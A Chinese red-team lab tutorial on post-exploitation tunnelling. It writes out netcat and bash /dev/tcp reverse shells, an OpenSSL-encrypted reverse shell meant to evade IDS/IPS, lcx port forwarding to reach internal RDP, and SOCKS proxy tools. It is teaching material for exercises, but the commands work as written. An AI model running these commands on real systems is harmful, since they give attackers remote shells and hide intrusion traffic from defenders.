前文推荐:
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
一.常规反弹
假设在内网环境中发现主机,通过漏洞获取到该主机控制权限,想要进一步对内网环境进行后续利用,这里可以通过反弹shell的方式去进行穿透,本次实验以nc工具为例来演示不同系统的操作,实验拓扑如图1-1所示。
1.利用NC工具在windows系统执行反弹shell
(1)Windows正向连接shell
本次实验环境如图1-1所示,假设已经获取到目标服务器的系统权限,上传nc工具,使用正向连接反弹shell的方法将目标服务器的shell反弹到本地主机。
1)首先在目标服务器执行nc.exe -lvp 8888 -e cmd.exe命令监听8888端口,使用-e参数将cmd.exe程序反弹连接到此端口的服务,开启监听执行成功后如图1-2所示。
2)目标服务器执行监听后,在本地主机执行nc.exe 192.168.0.3 8888命令去连接目标服务器nc开启监听的端口,连接成功即可获取到目标服务器的shell权限,如图1-3所示。
(2)Windows反向连接shell
本次实验环境如图1-1所示,在目标服务器允许出网的情况下,在本地主机上获取到目标服务器的shell权限,可以尝试使用反向连接的方法。
1)首先在本地主机中使用nc工具开启监听,执行nc.exe -lvp 8888命令,如图1-4所示。
2)当本地主机开启监听后,在目标服务器执行nc.exe 192.168.0.2 8888 -e cmd"命令主动连接本地主机的8888端口将cmd命令反弹到目标服务器,如图1-5所示
3)此时当目标服务器访问我们的本地8888端口时,即可执行获取到目标服务器的Shell权限,使用Ipconfig命令查看获取到的反弹shell的IP,可查看到是目标服务器,如图1-6所示。
2.利用NC工具在linux执行反弹shell
(1)Linux正向连接shell
假设在linux操作系统中想要获取反弹shell,其中反弹方式和上述演示的Windows操作系统不同,以两台linux服务器为例进行实验,实验环境如图1-7所示,使用正向连接shell的方式。
1)在目标服务器执行nc -lvp 8888 -e /bin/bash 命令来开启目标服务器的监听,如图1-8所示,当有应用程序访问到目标服务器的8888端口的程序时会将bash带出。
2)开启目标服务器监听后,在攻击机中执行nc 192.168.0.3 8888命令来连接目标服务器,此时会获得到目标服务器反弹出来的shell,如图1-9所示。
(2)利用Linux自带bash反弹Shell
1)首先在攻击机中使用nc执行nc -lvp 8888命令开启监听,执行结果如图1-10所示。
2)在目标服务器中执行bash -c "bash -i >& /dev/tcp/192.168.0.2/8888 0>&1命令来将shell反弹到攻击机上,其中192.168.0.2是攻击机的IP地址,8888是所监听的端口,如图1-11所示。
3)此时在攻击机中,可以看到已经成功接收到目标服务器反弹的shell,如图1-12所示。
二.加密反弹
1.加密反弹实验环境
在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-13所示。
2.加密反弹操作步骤
1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-14所示,最后会生成cert.pem和key.pem这两个文件。
表 1-1 常见使用参数
参数 | 作用 |
---|---|
-new | 表示生成一个新的证书签署要求 |
-x509 | 专用于生成CA自签证书 |
-key | 指定生成证书用到的私钥文件 |
-out FILNAME | 指定生成的证书的保存路径 |
-days | 指定证书的有效期限,单位为day,默认是365天 |
-notes | 生成的私钥文件不会被加密 |
2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-15所示。
3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-16所示。
4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-17所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。
三.端口转发
接下来将为读者介绍最常见的lcx端口转发工具的使用场景,lcx工具是一个红队人员在内网渗透测试中最典型的端口转发工具,lcx工具可分为Windows和Linux两个版本,这里以lcx工具为例,以转发3389端口为目的演示端口转发功能。下面介绍一下本次实验环境如图1-18所示,本次实验环境表如表1-2所示。
表1-2 端口转发实验环境表
类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
跳板机 | 192.168.0.25,192.168.52.110 |
靶机 | 192.168.52.143 |
本次实验是在内网靶机上开启远程桌面连接,跳板机使用lcx工具进行端口转发,在靶机和跳板机中搭建一条隧道,用攻击者电脑连接跳板机隧道端口,通过跳板机的端口,获取到内网靶机的远程桌面权限。
注意:攻击者通过防火墙允许的服务端口访问跳板机服务器,在跳板机进行设置隧道代理后访问到内网靶机。因跳板机是双网卡,可与外部主机和内网靶机通讯,所以可以通过在跳板机搭建隧道访问内网的IP。内网可以与跳板机通讯,通过与攻击者在跳板机搭建的隧道,绕过限制与攻击者进行通讯,如图1-18中的虚线所示。
1.Lcx工具正向连接
1)查看lcx工具命令帮助信息,执行lcx.exe -help命令,如图1-19所示。
2)使用lcx工具的前提是,已经获取到跳板机的系统管理权限,进行上传工具后,可以使用-tran参数来进行正向转发,在跳板机上执行lcx.exe -tran 8888 192.168.52.110 3389命令,会把靶机的3389端口转发到跳板机的8888端口上,成功与靶机之间搭建一条隧道,如图1-20所示。
3)此时已经将靶机的3389端口转发到跳板机的8888端口上,成功搭建了一条隧道。现在我们使用kali攻击机执行rdesktop 192.168.0.25:8888命令,连接跳板机的8888端口,即可与靶机成功建立远程连接,如图1-21所示。
2.Lcx工具反向连接
1)反向连接和上述所讲的正向连接恰好相反,首先在跳板机上开启监听,执行lcx.exe -listen 6666 8888命令用来监听本机6666端口,并将该端口的连接映射到本机的8888端口上,如图1-22所示。
2)在靶机执行Lcx.exe -slave 192.168.0.58 6666 127.0.0.1 3389命令,将3389端口转发到跳板机的6666端口上搭建一条隧道,然后跳板机再将6666端口映射到本机的8888端口。只要能访问到跳板机的主机,均能通过跳板机的8888端口连接内网的3389端口,如图1-23所示。
3)在kali攻击机使用 rdesktop 192.168.0.25 8888命令来远程连接访问跳板机的8888端口,即可访问拿到靶机的3389。如图1-24所示已通过攻击机连接成功。
四.Socks隧道代理
Socks是Socket Secure的缩写,其是一种工作在OSI七层模型中的第五层网络会话层协议,Socks主要的作用是代表客户端将任何协议或者任何程序产生的任何类型的流量路由到服务器上,以此来将本地和远端两个系统连接起来。
由于Socks其处于第七层和第四层模型之间,因此socks可以支持HTTP、HTTPS、FTP、SSH、FTP等多种协议,Socks从版本上来讲,又可分为socks4和socks5这两种版本,目前socks协议最新版本为socks5,socks4和socks5这两者版本最主要的区别是socks4仅支持TCP代理,不支持UDP代理以及各种验证协议,socks5不仅支持TCP/UDP代理以及各种身份验证协议的同时,还会通过身份验证建立完整的TCP 连接,并使用Secure Shell (SSH) 加密隧道的方法来中继流量,在红蓝攻防对抗中,我们经常会利用Socks5来建立通信隧道以此来访问远程核心靶标系统中的内部网络。
1. socks常见利用场景
假设在目标内网中已经获取了一台可执任意行命令权限的主机后,需要来对其主机所属的区域以及安全策略进行判断探测是否可以建立socks连接,具体的socks常见利用场景描述如表1-3所示。
表 1-3常见利用场景描述
目标位置 | 场景描述 |
---|---|
内网 | 防火墙未对出口流量及端口做任何方面的安全策略,内网中的服务器可任意访问外部网络,不受安全策略限制。 |
防火墙只配置了特定的入站规则,仅允许特定业务的端口进行访问(例如:80、443) | |
防火墙都配置了特定的出入站规则,仅开放了特定的端口(例如:80、443) |
2. socks全局代理软件
在实网攻防对战中有很多的Socks代理工具可供我们选择使用,但值得我们注意的是,我们需要结合实际的场景去选择对应的Socks代理工具,尽量使用一些没有GUI界面以及不需要依赖其他软件支撑的Socks代理工具,接下来笔者将会介绍自己在实网攻防对战中所经常使用的三款Socks代理工具。
(1)Proxifier
Proxifier是一个基于Mac / Windows 系统的网络代理软件客户端工具。如图1-25所示,Proxifier支持TCP,UDP协议,Xp,Vista,Win7,mac系统以及socks4,socks5。它为本地系统内具体的应用提供代理服务,让部分软件(网址或 IP)使用代理访问网络,而其它软件(网址或 IP)正常访问网络。
(2)SocksCap64
Sockscap64是由Taro开发的免费代理客户端软件,如图1-26所示,可以使windows网络应用程序通过socks代理服务器开访问网络而不需要对应用程序进行任何修改,即便某些程序不支持socks代理也可以完美解决代理访问问题。Sockscap64目前只支持socks4、socks5及TCP连接。
(3)Proxychains
ProxyChains是一个基于linux和其他Unix的开源代理工具,如图1-27所示,其支持http、socks4和socks5进行代理连接。它是通过一个用户定义的代理列表强制连接指定的应用程序,直接断开接收方和发送方的连接。
五.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从多维度分析隧道隐蔽技术的划分及对隧道技术整体来讲解,其中包含基础知识概括和相关隧道工具的利用方式及隧道隐蔽技术的检测防护方法,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!